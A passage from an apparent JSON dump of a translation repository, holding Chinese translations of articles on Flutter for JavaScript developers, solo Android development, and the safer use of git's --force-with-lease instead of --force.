[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/flutter-for-javascript-developers.md",
    "content": "> * 原文地址：[Flutter for JavaScript Developers](https://hackernoon.com/flutter-for-javascript-developers-35515e533317)\n> * 原文作者：[Nader Dabit](https://hackernoon.com/@dabit3?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/flutter-for-javascript-developers.md](https://github.com/xitu/gold-miner/blob/master/TODO/flutter-for-javascript-developers.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[bambooom](https://github.com/bambooom), [allenlongbaobao](https://github.com/allenlongbaobao)\n\n# 为 JavaScript 程序员准备的 Flutter 指南\n\n[Flutter](https://flutter.io/) 是一款用同一套代码构建高性能、高保真的 iOS 及安卓应用的跨平台移动端应用 SDK。\n\n[文档](https://flutter.io/technical-overview/)中提到：\n\n> Flutter 包括一个 **react 风格**的框架、一个 2D 渲染引擎、一些预制的插件以及开发者工具。\n\n![](https://cdn-images-1.medium.com/max/800/1*oUyZxsBi_aS6jVhL8sjCsQ.png)\n\n文本希望能快速为 JavaScript 开发者们提供一个简练的入门指南，我会试着以 JS 与 npm 生态系统来类比 Flutter / Dart 与 [Pub](https://pub.dartlang.org/) 包库。\n\n> 如果你对最新的 Flutter 教程、库、公告及社区的更新感兴趣，我建议您订阅双周刊 [Flutter Newsletter](http://flutternewsletter.com/)。\n\n* * *\n\n我在 [React Native EU](https://react-native.eu/) 的演讲 [React Native — 跨平台及超越](https://www.youtube.com/watch?v=pFtvv0rJgPw)中讨论并演示了 React 生态系统中 [React Native Web](https://github.com/necolas/react-native-web)、[React Primitives](https://github.com/lelandrichardson/react-primitives) 和 [ReactXP](https://microsoft.github.io/reactxp/) 的不同之处，并且我也有机会讨论 [Weex](https://weex.incubator.apache.org/) 及 [Flutter](https://flutter.io/) 的不同之处。\n\n在尝试 Flutter 之后，我认为它是近几年我所关注的前端技术中最让我激动的一个。在本文中，我将讨论为何它如此令我激动，并介绍如何尽可能快的入门 Flutter。\n\n#### 如果你认识我，那么我知道你正在想什么…\n\n![](https://cdn-images-1.medium.com/max/800/1*GTsgYXSN2AcJZN9wZm7zhQ.jpeg)\n\n我是一名有着超过两年半经验的 React 与 React Native 开发者。现在，我仍然看好 React 和 React Native，并且我也知道有许多大公司正在使用它们，但我仍然乐于看到其他的能达到相同目的的想法方法，这无关乎我是否要去学习或改变技术栈。\n\n### Flutter\n\n> 我可以做个概括：Flutter 令人惊叹, 我相信近几年它会成为更多人的选择。\n\n在使用了几周 Flutter SDK 之后，我正在应用它制作我的第一个 App，我十分享受这个过程。\n\n在我开始介绍如何入门 Flutter 前，我将首先回顾一下我对它的 SDK 的优缺点的看法。\n\n![](https://cdn-images-1.medium.com/max/800/1*hl9BrVAK5rNBJnw76tmTEQ.png)\n\n### 优点\n\n*   内置由核心团队维护的 UI 库（Material 及 Cupertino）。\n*   Dart 团队与 Flutter 团队紧密合作，专门针对 Flutter 优化移动设备的 Dart VM。\n*   有着崭新的、酷炫的文档。\n*   强大的 CLI。\n*   我能轻松、顺利地入门与运行它，没有碰到各种障碍与 Bug。\n*   开箱即用的热加载功能，使得调试的体验相当好。此外，还有[一系列关于调试技术的很好的文档](https://flutter.io/debugging/)。\n*   有由核心团队构建并维护的 nav 库，可靠且有见地。\n*   Dart 语言诞生 6 年了，相当成熟。虽然 Dart 是一种基于类的面向对象编程语言，但如果你想用函数式编程，Dart 也有着作为第一公民的函数，并且支持许多函数式编程结构。\n*   Dart 比我想象中的更容易入门，我十分喜欢它。\n*   Dart 是一种无需任何多余配置的开箱即用的强类型语言（比如：TypeScript、Flow）。\n*   如果你用过 React，会发现它有类似的状态机制（比如 lifecycle 方法与 `setState`）。\n\n### 缺点\n\n*   你要去学习 Dart（相信我，这很简单）。\n*   仍在测试中。\n*   目标平台仅为 iOS 和安卓。\n*   插件生态系统还很稚嫩，[https://pub.dartlang.org/flutter](https://pub.dartlang.org/flutter) [](https://t.co/KMMwbnVM6M \"http://pub.dartlang.org\")在 2017 年 9 月还只有 70 余个包。\n*   布局与编写样式需要学习一种全新的范式与 API。\n*   需要学习不一样的项目配置（pubspec.yaml vs package.json）。\n\n### 入门及其它观点\n\n*   Flutter 文档推荐了 VS Code 编辑器与 [IntelliJ IDE](https://www.jetbrains.com/idea/)。尽管 [IntelliJ IDE](https://www.jetbrains.com/idea/) 内置支持热加载、在线加载这些 VS Code 没有的功能，但我还是选择使用安装了 [Dart Code extension](https://marketplace.visualstudio.com/items?itemName=DanTup.dart-code) 插件的 VS Code 编辑器，并得到了很好的开发体验。\n*   Flutter 有一个模块系统，或者叫包管理系统 —— [Pub Dart Package Manager](https://pub.dartlang.org/)，它与 npm 有很多不同点。它的好坏取决于你对 npm 的看法。\n*   我之前并没有 Dart 相关的知识，但我很快就入门了。它让我想起了 TypeScript，并且与 JavaScript 也有一些相似之处。\n*   文档中有几个相当不错的代码实验室与教程，建议去查阅一番：1. [构建 UIS](https://codelabs.developers.google.com/codelabs/flutter/index.html#0) 2. [增加 Firebase](https://codelabs.developers.google.com/codelabs/flutter-firebase/index.html#0) 3. [构建布局](https://flutter.io/tutorials/layout/) 4\\. [增加交互](https://flutter.io/tutorials/interactive/)\n\n#### **说的够多了，现在让我们开始创建一个新的工程吧！**\n\n### 在 macOS 中安装 CLI\n\n如果你使用的是 Windows，请查阅 [此文档](https://flutter.io/setup/)。\n\n如需查看完整的 macOS 平台下的安装指南，请查看 [此文档](https://flutter.io/setup-macos/)。\n\n首先，我们需要克隆包含 flutter CLI 二进制文件的 repo，然后将其添加到系统目录中。比如我将 repo 克隆到了专门用于存放二进制文件的目录下，然后将这个新目录加到了 `$HOME/.bashrc` 和 `$HOME/.zshrc` 文件中。\n\n1.  克隆 repo：\n\n```\ngit clone -b alpha https://github.com/flutter/flutter.git\n```\n\n2. 增加路径：\n\n```\nexport PATH=$HOME/bin/flutter/bin:$PATH (或者填你选择的安装路径)\n```\n\n3. 在命令行中运行 flutter doctor，检测 flutter 路径能被正确识别，并安装一切所需的依赖：\n\n```\nflutter doctor\n```\n\n### 安装其它依赖\n\n如果你要部署 iOS app，那么必须安装 Xcode；如果你要部署安卓 app，那么必须要安装 Android Studio。\n\n**了解关于安装这两个不同平台的知识，请参阅文档**：[文档](https://flutter.io/setup-macos/#platform-setup)。\n\n### 创建你的第一个 Flutter app\n\n现在我们已经安装好了 flutter CLI，可以创建我们的第一个 app 了。请运行 flutter create 命令：\n\n```\nflutter create myapp\n```\n\n此命令会帮助你创建一个新的 app，进入新目录，打开 iOS 模拟器或安卓模拟器，运行以下命令：\n\n```\nflutter run\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*wr4Ox5ZFThwFMdaZL9To6w.jpeg)\n\n此命令会在你打开的模拟器中运行 app。如果你同时打开了 iOS 与安卓模拟器，你可以用下面的命令来将程序传入指定的模拟器：\n\n```\nflutter run -d android / flutter run -d iPhone\n```\n\n也可以同时运行：\n\n```\nflutter run -d all\n```\n\n此时你应该在控制台中看到了关于重启 app 的信息：\n\n![](https://cdn-images-1.medium.com/max/800/1*gdWuSFptAuk3ljy-AagJ_w.png)\n\n### 项目结构\n\n你正在运行的代码处于 `lib/main.dart` 文件中。\n\n你会发现有一个 andoird 文件夹和一个 iOS 文件夹，原生的项目存在这些目录中。\n\n项目的配置在 `pubspec.yaml` 中，此文件与 JavaScript 生态系统中的 `package.json` 类似。\n\n现在将目光转向 `lib/main.dart`。\n\n在文件的头部，可以看见一个 import：\n\n`import ‘package:flutter/material.dart’;`\n\n这个依赖文件是哪儿来的？请查看 `pubspec.yaml` 文件，可以发现在依赖列表中单独有一个 flutter 依赖项，在这儿是引用的 `package:flutter/`。如果想添加或导入其它依赖项，那么需要将新的依赖加入 `pubspec.yaml`，然后用过 import 来使用它们。\n\n在 `main.dart` 的头部，我们还可以看到有一个名为 main 的函数。在 Dart 中，[main](https://www.dartlang.org/guides/language/language-tour#the-main-function) 是一个特殊的、**必要的**、顶级的函数，也是 app 开始执行的地方。因为 Flutter 是由 Dart 构建的，main 也是这个工程的主入口。\n\n```\nvoid main() {\n  runApp(new MyApp());\n}\n```\n\n此函数调用了 `new MyApp()`，这个类。与 React App 类似，有一个由多个组件组合而成的主组件，然后调用 `ReactDOM.render` 或 `AppRegistry.registerComponent` 进行渲染。\n\n### Widget\n\nFlutter [技术总览](https://flutter.io/technical-overview/)中的一个核心原则就是：“一切皆 Widget”。\n\n> Widget 是每个 Flutter app 的最基本的构建模块。每个 Widget 都是用户界面的一个不可变定义。与其它框架分离视图、控制器、布局和其它属性不同，Flutter 有着统一的、一致的对象模型：Widget。\n\n类比 Web 术语或 JavaScript，你可以将 Widget 看成与 Component 类似的东西。Widget 通常由内部类构成，这些类可能包含或不包含一些本地状态（local state）或方法。\n\n如果你观察 main.dart，可以发现类似 StatelessWidget、StatefulWidget、Center、Text 的类引用。这些都是 Widget。如果想了解所有可用的 Widget，请查阅[文档](https://docs.flutter.io/flutter/widgets/widgets-library.html)。\n\n### 布局与编写样式\n\n虽然 Dart 和多数 Flutter 框架都很容易使用，但进行布局与编写样式让我最开始头疼了一阵子。\n\n需要重点注意的是，与编写 Web 样式不同，以及与 React Native 的 View 会完成所有的布局和一些样式不同，Flutter 的布局由**你选择的 Widget 类型**及**本身的布局与样式属性**共同决定，也就是说它通常取决于你使用的 Widget。\n\n例如，[Column](https://docs.flutter.io/flutter/widgets/Column-class.html) 能接收多个子 Widget，但不接受任何样式属性（[CrossAxisAlignment](https://docs.flutter.io/flutter/widgets/Flex/crossAxisAlignment.html) 及 [direction](https://docs.flutter.io/flutter/widgets/Flex/direction.html) 等布局属性除外）；而 [Container](https://docs.flutter.io/flutter/widgets/Container-class.html) 能接收各种布局及样式属性。\n\nFlutter 还有一些布局专用的组件，比如 [Padding](https://docs.flutter.io/flutter/widgets/Padding-class.html)，它仅能接收一个子 Widget，但除了给子 Widget 添加 padding（边距）之外不会做其它任何事。\n\n请参考这个完整的 [Widget 列表](https://flutter.io/widgets/layout/)，能帮你使用 Container、Row、Column、Center、GridView 及其它有着自己布局规范的组件实现布局。\n\n### SetState 及生命周期函数\n\n与 React 类似，Flutter 也有有状态、无状态组件或 Widget。有状态组件可以创建、更新、销毁状态，与 React 中使用的生命周期函数类似。\n\n在 Flutter 中，也有一个名为 setState 的函数用来更新状态。你可以在我们刚才创建的项目的 `_incrementCounter` 方法中看到此函数。\n\n更多信息请查阅：[StatefulWidget](https://docs.flutter.io/flutter/widgets/StatefulWidget-class.html), [State](https://docs.flutter.io/flutter/widgets/State-class.html) 和 [StatelessWidget](https://docs.flutter.io/flutter/widgets/StatelessWidget-class.html)。\n\n### 总结\n\n作为专门制作跨平台应用的开发者，我会保持关注 React Native 的竞争对手。对于客户来说，也多了一种选择，他们可能会因为某些原因而要求使用 Fluter。我认为 Flutter 为我的客户带来了一些他们想要的东西，比如内置的类型系统、一流的 UI 库、由核心团队维护的 nav 库等。\n\n我会把 Flutter 加入我的技术栈中，当碰到 React Native 无法解决的问题和情况时，我将会使用 Flutter。只要我觉得可以将它用于生产环境，我会向客户展示我的第一个 Flutter app，供他们选择这个技术。\n\n> 我叫 [Nader Dabit](https://twitter.com/dabit3)，是一名 [AWS Mobile](https://aws.amazon.com/mobile/) 的开发者，开发了 [AppSync](https://aws.amazon.com/appsync/)、[Amplify](https://github.com/aws/aws-amplify) 等应用，同时也是 [React Native Training](http://reactnative.training/) 的创始人。\n\n> 如果你喜欢 React 和 React Native，欢迎在 [Devchat.tv](http://devchat.tv/) 订阅我们的 podcast - [React Native Radio](https://devchat.tv/react-native-radio)。\n\n> 此外，Manning Publications 已经出版了我的书 [React Native in Action](https://www.manning.com/books/react-native-in-action)，欢迎阅读。\n\n> 如果你喜欢这篇文章，请点个赞吧~\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO/flying-solo-with-android-development.md",
    "content": "> * 原文地址：[Flying Solo with Android Development](https://hackernoon.com/flying-solo-with-android-development-c52d911b62bf#.yhgjjtwz1)\n> * 原文作者：[Anita Singh](https://hackernoon.com/@anitas3791?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Boiler Yao](https://github.com/boileryao)\n> * 校对者： [gaozp](https://github.com/gaozp) 、[tanglie1993](https://github.com/tanglie1993)\n# 一个人的 Android 开发 #\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*gqA2o9GN2tU2xaIMuddXJg.jpeg\">\n\nPhoto credit : [http://www.magic4walls.com/crop-image?id=14269](http://www.magic4walls.com/crop-image?id=14269) \n\n两年半之前，在一个由四个人组成的 Android 团队的帮助下，我开始从后端开发转向移动开发。一年之后，我加入了一个已经完成了B轮融资的初创公司，在那里主要做 Android 开发的工作。在一个小团队里工作，既能很好地保持独立，还不耽误向同事学习。\n\n但随后，五个月前，我从原本的小团队跳槽到了一个“根本没有团队”的地方，我去的这家是刚刚成立的创业公司，只有六个人，而我是其中 **唯一的** Android 工程师。在这个新的岗位，我从零开始完成了 [Winnie](https://winnie.com/)，这个 APP 最近已经[发布](https://winnie.com/android) 了！\n\n结果证明这是一个大飞跃。单飞一直是一个挑战，但它也带来了很多回报。一路走来，我发现独自工作是有利有弊的。不过最重要的是，你可以做一些事情来帮助自己走向成功。这里有一些目前为止已经帮到我的策略。\n\n#### **跟社区保持接触 业余不忘充电** ####\n\n对单飞的担心之一是，我已经习惯了以前的角色，担心没有人能一起讨论新的想法并且给我出主意。\n\n好消息是有很多在线资源可以拓展你的知识和视野。 从 [**DroidCon**](https://twitter.com/droidcon?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor) 、 [**360|AnDev**](http://360andev.com/) 这样的开发者大会上的在线分享，到 [**Fragmented Podcast**](http://fragmentedpodcast.com/) 、 [**Android Dialogs**](https://www.youtube.com/channel/UCMEmNnHT69aZuaOrE-dF6ug/videos)  和 [**Android Weekly**](http://androidweekly.net/) 这样的时效性很高的网站，你有很多方法来拓展自己的想法。\n\n我个人最喜欢的是 [**Caster.io**](https://caster.io/) —— 代码示例加上简短的解说视频让我随时脉动回来！ 线下聚会或者 [**AndroidDev subreddit**](https://www.reddit.com/r/androiddev/) 、 [**Google+ communities**](https://plus.google.com/communities/105153134372062985968) , Slack groups 和 Twitter 这样的社区对于继续讨论和解疑释惑，都是很好的去处。\n\n#### **审查之前提交的代码 保持高标准** ####\n\n我特别建议打开提交记录来审查自己的代码。在自己的提交下评论可能看上去很傻，但是我认为如果你一个人工作的话，这是个很好的习惯。这一点在 [一个跟 Android 相关的对话节目系列](https://www.youtube.com/watch?v=CtxBO9zq7vQ) 中也有讨论。\n\n我用 GitHub 自带的预览功能完成第一步，之后把它放一边然后过一段时间再来查看。我尽全力来审查自己的提交，就像我审查同事的代码一样，来确保我用同样严格的标准要求自己。回过头看自己的代码还**有助于发现 bug 和错误的边界情况处理，以及让你的代码保持统一和整洁。**\n\n#### **一个“不好的”模式通常比没有模式要好** ####\n\n你不得不做出很多决定 —— 应该使用 [MVVM](https://upday.github.io/blog/model-view-viewmodel/) 、 [MVP](https://medium.com/upday-devs/android-architecture-patterns-part-2-model-view-presenter-8a6faaae14a5#.vcztbt47h) 、[Flux](http://lgvalle.xyz/2015/08/04/flux-architecture/)，还是其它的架构模式？使用 Fragment 还是 ViewGroup？哪些应该是抽象的而哪些不应该是？\n\n项目开始的时候，一开始的时候使用一种模式，之后意识到另一种模式更好，并由此带来一些模式的重构和去除并不是一件新鲜事。\n\n虽然在某些情况下打破你的模式是有意义的，但是当你发现更好的东西时，最好留心去重构并且改变之前的代码来使整体保持一致。这可能听起来很明显但是仅仅把新的模式用到新的代码中更为简单，所以当你一个人工作的时候可能会倾向这么干。但是这样会在你察觉到之前迅速让你的代码变得蜜汁混乱！**即使这个模式并不是很棒，保持代码的一致性会让之后的修补变得更容易**。\n\n#### **墙裂建议使用Kotlin** ####\n\n除非你是从头开始，不然的话，考虑一下在下一个你将要写的类里试试吧。\n\n我最终没有在 Winnie 中使用 [Kotlin](https://kotlinlang.org/) ，因为我当时没有经验所以对这个想法不够自信，加之不想打击团队中的 Java 后端工程师向代码库中贡献代码的热情。\n\n然而，在看过 [Christina的关于 Kotlin 的演讲](https://www.youtube.com/watch?v=mDpnc45WwlI)  并且做了一些研究之后，**如果能重来，我至少会试试这门语言**。 Kotlin 有很多优点 —— 即使只是防止 null pointer 引起的异常和不与 Java 笨拙的模式化代码同流合污（Kotlin 的语法比 Java 要精炼得多 —— 译注）就让我佩服得五体投地。 Jake Wharton 的 [这个讲座](https://realm.io/news/oredev-jake-wharton-kotlin-advancing-android-dev/) 是个很好的学习 Kotlin 的起点。\n\n#### **掌握自己的代码 不要过分依赖第三方库** ####\n\n我记得在 MVP 中，曾经花费过很多时间选择一个库来用，因为这些库实在是太多了。被丰富的选择惯坏是个很大的问题，最终我自己造了个简单的轮子，用得很开心。\n\n当选择用哪个第三方库的时候，我建议考虑好你是否真的需要它以及它会对你未来的开发造成哪些限制 —— 它会为单元测试增加难度吗？它会限制使用 Android 自带的特性吗，比如多屏之间的过渡动画之类的？它的开发是不是仍然很热火朝天并且有很多 APP 使用它？这些考虑让我好好权衡并做出决定。\n\n**我建议在尽可能保留掌控的情况下去优化，而无须重新造轮子** 虽然有个库已经几乎包含所有的东西了，但是自己去实现一些东西会更好。（使用第三方库的基础组件，自己根据需要进行组合。—— 译注）\n\n#### **规划好测试（Testing）和辅助功能（Accessibility）** ####\n\n如果你接手的项目是从头开始，那么你**现在就可以去做了**！不然的话，你可以在接下来你写的代码中这样做。\n\n面对张牙舞爪的 deadline，测试和辅助功能往往是下等公民。而你把一旦它们的优先级放得很低，由于没有其他人跟你分担，你就更难找到时间去实现它们了。\n\n我承认，我自己只是才开始做这方面的工作。但通过使用依赖注入，MVP 模式，只暴露 Model 对象的接口到 UI 等等方法来在脑海中写测试代码，来达到更容易测试的目标。从项目开始的时候，每次提交之后，我都会同时在 [**CircleCI**](https://circleci.com/) （一个持续集成和发布的平台 —— 译注）上进行编译，以便进行简单的检查和运行测试。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*IlMGg4Voi3RcLi7sjVQP0g.gif\">\n\n对于辅助功能（Accessibility），我在任何可以的时候都添加上内容描述，并且在发布前使用  [**Accessibility Scanner**](https://play.google.com/store/apps/details?id=com.google.android.apps.accessibility.auditor&hl=en) 来找出我接下来还需要做哪些这方面的工作。毫无疑问还有更多的工作要做，但这是个不错的开始。Kelly Schuster 的 [这个演讲](https://realm.io/news/kelly-shuster-android-is-for-everyone/) 给出了一些可行的建议使得开发者可以让自己的 APP 变得对有缺陷的人群更友好。\n\n如果时间不允许来编写测试，那就人工测试就很方便了。比如，在一个文档中为每一个特性写下不同的测试案例（正面的、反面的），确保在每次发布前进行这些测试。**为自己定下编写测试和进行 Accessibility 改进的 deadline，不然你可能永远也完成不了它们**。\n\n#### **告诉你的 iOS 设计师他们是错的 自己寻求到 Android 设计的转换 :-).** ####\n\n不要因为支持你的平台上的正确的事情而担心！当你一个人干的时候，你有责任带着别人跟上最新的 Android UI 模式和代码库的发展速度。\n\n我工作中通常得到的是 iOS 系统上的截图，但是使用 [Material 设计规范](https://material.io/guidelines/) 和一些优秀 Android APP 作为资源来把那些设计转换到 Android 里面。还有，没有什么比引用官方的 Material Design 文档更适合来说服别人了！\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*xFUdWXDI9s_aHY949_vZ8w.gif\">\n\n至于代码库，在我的 CEO 来帮忙的几个月内，我向她普及了我们的架构和 MVP、Dagger2、RxJava2 之类的概念。我建议保持向周围的人进行 Android 概念的传教，因为**向别人解释你的决定或者教给他们一个新的概念帮助你真正得掌握这个概念，有时还会让你意识到自己的错误。**\n\n#### 尽早发布 beta 版 ####\n\n如果你的 APP 还没有上线或者在现有的基础上进行了重大的变化，这条会很适用。Google play 有一个 [alpha 和 beta 频道](https://support.google.com/googleplay/android-developer/answer/3131213?hl=en)，在 beta 频道，你可以自由开关你的 beta 版本。\n\n如果你在继续开发一个已经存在的 APP，你仍然可以平行地发布 beta 版，只要版本比当前的正式版高就好了。如果是开放的 beta 版，用户将可以通过在 play store 安装或者点击一些链接下载安装来使用。如果你要对变化进行小规模的测试， [staged-rollouts](https://support.google.com/googleplay/android-developer/answer/6346149?hl=en) 将会是个很合适的选择。\n\n如果你在开发一个崭新的 APP，我建议**在上架前尽快开发出内测版，然后在这个内测版准备好了的时候把它转为开放的公测版。** 我们的第一个内测版只有很少的几个功能，但是它帮助我们及早发现了 bug，步入了周期性发布的正轨，并且获得了很有价值的反馈。这也让我们毫无压力并且可以平稳上线。\n\n------\n\n第一次单飞是个很好的学习经历，因为你**挑战自我**了，这是之前从未有过的。 你变得更加依赖自己、锻炼了对代码库的整体控制（或好或坏）、学习了更多自己喜欢的东西并且处理怪不得别人的错误（耶）。我曾经担心单飞，但是在上面的建议的帮助下，结果是一个很好玩的经历。我希望这些建议同样会对你有所帮助。\n\n打算单飞或者和分享你的单飞经历？很高兴听到你们的声音。在原文下面评论或者 ❤ 这篇文章 或者到 [Twitter](https://twitter.com/anitas3791)上来找我。\n"
  },
  {
    "path": "TODO/force-with-lease.md",
    "content": "\n> * 原文地址：[-force considered harmful; understanding git's --force-with-lease](https://developer.atlassian.com/blog/2015/04/force-with-lease/)\n> * 原文作者：[Steve Smith](https://legacy-developer.atlassian.com/blog/authors/ssmith/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/force-with-lease.md](https://github.com/xitu/gold-miner/blob/master/TODO/force-with-lease.md)\n> * 译者：[LeviDing](https://github.com/leviding)\n> * 校对者：[yifili09](https://github.com/yifili09)\n\n# 使用 `-force` 被认为是有害的；了解 Git 的 `-force-with-lease` 命令\n\nGit 的 `push --force` 具有破坏性，因为它无条件地覆盖远程存储库，无论你在本地拥有什么。使用这个命令，可能覆盖团队成员在此期间推送的所有更改。然而，有一个更好的办法，当你需要强制推送，但仍需确保不覆盖其他人的工作时，`-force-with-lease` 这条指令选项可以帮助到你。\n\n![我不经常使用 push --force...](https://developer.atlassian.com/blog/2015/04/force-with-lease/force-with-lease.jpg)\n\n众所周知，git 的 `push -force` 指令是不推荐被使用的，因为它会破坏其他已经提交到共享库的内容。虽然这不总是完全致命的（如果那些修改的内容仍在某些同事的本地工作域中，那之后他们能被重新合并），但是这样的做法很欠考虑，最糟糕的情况会造成灾难性的损失。这是因为 `--force` 指令选项迫使分支的头指针指向你个人的修改记录，而忽略了那些其他和你同时进行地更改。\n\n强制推动最常见的原因之一是当我们被迫 `rebase` 一个分支的时候。为了说明这一点，我们来看一个例子。我们有一个项目，其中有一个功能分支，Alice 和 Bob 要同时在这个分支上工作。他们都 `git clone...` 了这个仓库，并开始工作。\n\n最初，Alice 完成了她负责的功能，并将其 `push` 到主仓库。这都没啥问题。\n\nBob 也完成了他的工作，但在 `push` 之前，他注意到一些变化已被合并到了 *master* 分支。想要保持一棵整洁的工作树，他会对主分支执行一个 `rebase`。当然，当他 `push` 这个经过 `rebase` 的分支的时候将被拒绝。然而，Bob 没有意识到 Alice 已经 `push` 了她的工作。Bob 执行了 `push --force` 命令。不幸的是，这将清除 Alice 在远程主仓库的所有更改和记录。\n\n这里的问题是，进行强制推送的 Bob 不知道为什么他的 `push` 会被拒绝，所以他认为这是 `rebase` 造成的，而不是由于 Alice 的变化。这就是为什么 `--force` 在同一个分支上协作的时候要杜绝的；并且通过远程主仓库的工作流程，任何分支都可以被共享。\n\n但是 `--force` 有一个不为众人所知的亲戚，它在**一定程度上**能防止强制更新操作带来的结构性破坏；它就是 `--force-with-lease`。\n\n`--force-with-lease` 是用于拒绝更新一个分支，除非该分支达到我们期望的状态。即没有人在上游更新分支内容。 实际上，通过检查上游引用是我们所期望的，因为引用是散列，并将父系链隐含地编码成它们的值。\n\n你可以告诉 `--force-with-lease` 究竟要检查什么，默认情况下会检查当前的远程引用。这在实践中意味着，当 Alice 更新她的分支并将其推送到远程仓库时，分支的引用指针将被更新。现在，除非 Bob从远程仓库 `pull` 一下，否则*本地*对远程仓库的引用将过期。当他使用 `--force-with-lease` 推送时，git 会检查本地与远程的引用是否对应，并拒绝 Bob 的强制推送。`--force-with-lease` 有效地只在没有人在上游更新分支内容的时候允许你强制推送。就像是一个带有安全带的 `--force`。它的一个快速演示可能有助于说明这一点：\n\nAlice 已经对该分支进行了一些更改，并已推送到了远程主仓库。Bob 现在又对远程仓库的 `master` 分支进行了 `rebases` 操作：\n\n```bash\nssmith$ git rebase master\nFirst, rewinding head to replay your work on top of it...\nApplying: Dev commit #1\nApplying: Dev commit #2\nApplying: Dev commit #3\n```\n\n`rebase` 之后，他试图将自己的更改 `push` 上去，但服务器拒绝了，因为这会覆盖 Alice 的工作：\n\n```bash\nssmith$ git push\nTo /tmp/repo\n ! [rejected]        dev -> dev (fetch first)\nerror: failed to push some refs to '/tmp/repo'\nhint: Updates were rejected because the remote contains work that you do\nhint: not have locally. This is usually caused by another repository pushing\nhint: to the same ref. You may want to first integrate the remote changes\nhint: (e.g., 'git pull ...') before pushing again.\nhint: See the 'Note about fast-forwards' in 'git push --help' for details.\n```\n\n但 Bob 认为这是 `rebase` 操作造成的，并决定强制 `push`：\n\n```bash\nssmith$ git push --force\nTo /tmp/repo\n + f82f59e...c27aff1 dev -> dev (forced update)\n```\n\n然而，如果他使用了 `--force-with-lease`，则会得到不同的结果，因为 git 会检查远程分支，发现 从上一次 Bob 使用 `fetch` 到现在，实际上并没有被更新：\n\n```\nssmith$ git push -n --force-with-lease\nTo /tmp/repo\n ! [rejected]        dev -> dev (stale info)\nerror: failed to push some refs to '/tmp/repo'\n```\n\n当然，在这有一些关于 git 的注意事项。上面展示的，只有当 Alice 已经将其更改推送到远程存储库时，它才有效。这不是一个严重的问题，但是如果她想修改她提交的东西，那她去 `pull` 分支时，会被提示合并被更改。\n\n一个更微妙的问题是，我们有方法去骗 git，让 git 认为这个分支没有被修改。在正常使用情况下，最常发生这种现象的情况是，Bob 使用 `git fetch` `而不是 `git pull` `来更新他的本地副本。`fetch` 将从远程仓库拉出对象和引用，但没有匹配的 `merge` 则不会更新工作树。这将使本地仓库看起来已经与远程仓库进行了同步更新，但实际上本地仓库并没有进行更新，并欺骗 `--force-with-lease` 命令，成功覆盖远程分支，就像下面这个例子：\n\n```\nssmith$ git push --force-with-lease\nTo /tmp/repo\n ! [rejected]        dev -> dev (stale info)\nerror: failed to push some refs to '/tmp/repo'\n\nssmith$ git fetch\nremote: Counting objects: 3, done.\nremote: Compressing objects: 100% (3/3), done.\nremote: Total 3 (delta 0), reused 0 (delta 0)\nUnpacking objects: 100% (3/3), done.\nFrom /tmp/repo\n   1a3a03f..d7cda55  dev        -> origin/dev\n\nssmith$ git push --force-with-lease\nCounting objects: 9, done.\nDelta compression using up to 8 threads.\nCompressing objects: 100% (6/6), done.\nWriting objects: 100% (9/9), 845 bytes | 0 bytes/s, done.\nTotal 9 (delta 0), reused 0 (delta 0)\nTo /tmp/repo\n   d7cda55..b57fc84  dev -> dev\n```\n\n这个问题的最简单的答案就是，简单的说“不要在没有合并的情况下 `fetch` 远程该分支”（或者更常用的方法是 `pull`，这个操作包含了前面的两个），但是如果由于某种原因你希望在用 `--force-with-lease` 进行代码上传之前进行 `fetch`，那么这有一种比较安全的方法。像 git 那么多的属性一样，引用只是对象的指针，所以我们可以创建我们自己的引用。在这种情况下，我们可以在进行 `fetch` 之前，为远程仓库引用创建“保存点”的副本。然后，我们可以告诉 `--force-with-lease` 将此作为引用值，而不是已经更新的远程引用。\n\n为了做到这一点，我们使用 git 的 `update-ref` 功能来创建一个新的引用，以保存远程仓库在任何 `rebase` 或 `fetch` 操作前的状态。这有效地标记了我们开始强制 `push` 到远程的工作节点。在这里，我们将远程分支 `dev` 的状态保存到一个名为 `dev-pre-rebase` 的新引用中：\n\n```\nssmith$ git update-ref refs/dev-pre-rebase refs/remotes/origin/dev\n```\n\n这时呢，我们就可以进行 `rebase` 和 `fetch` 操作，然后使用保存的 `ref` 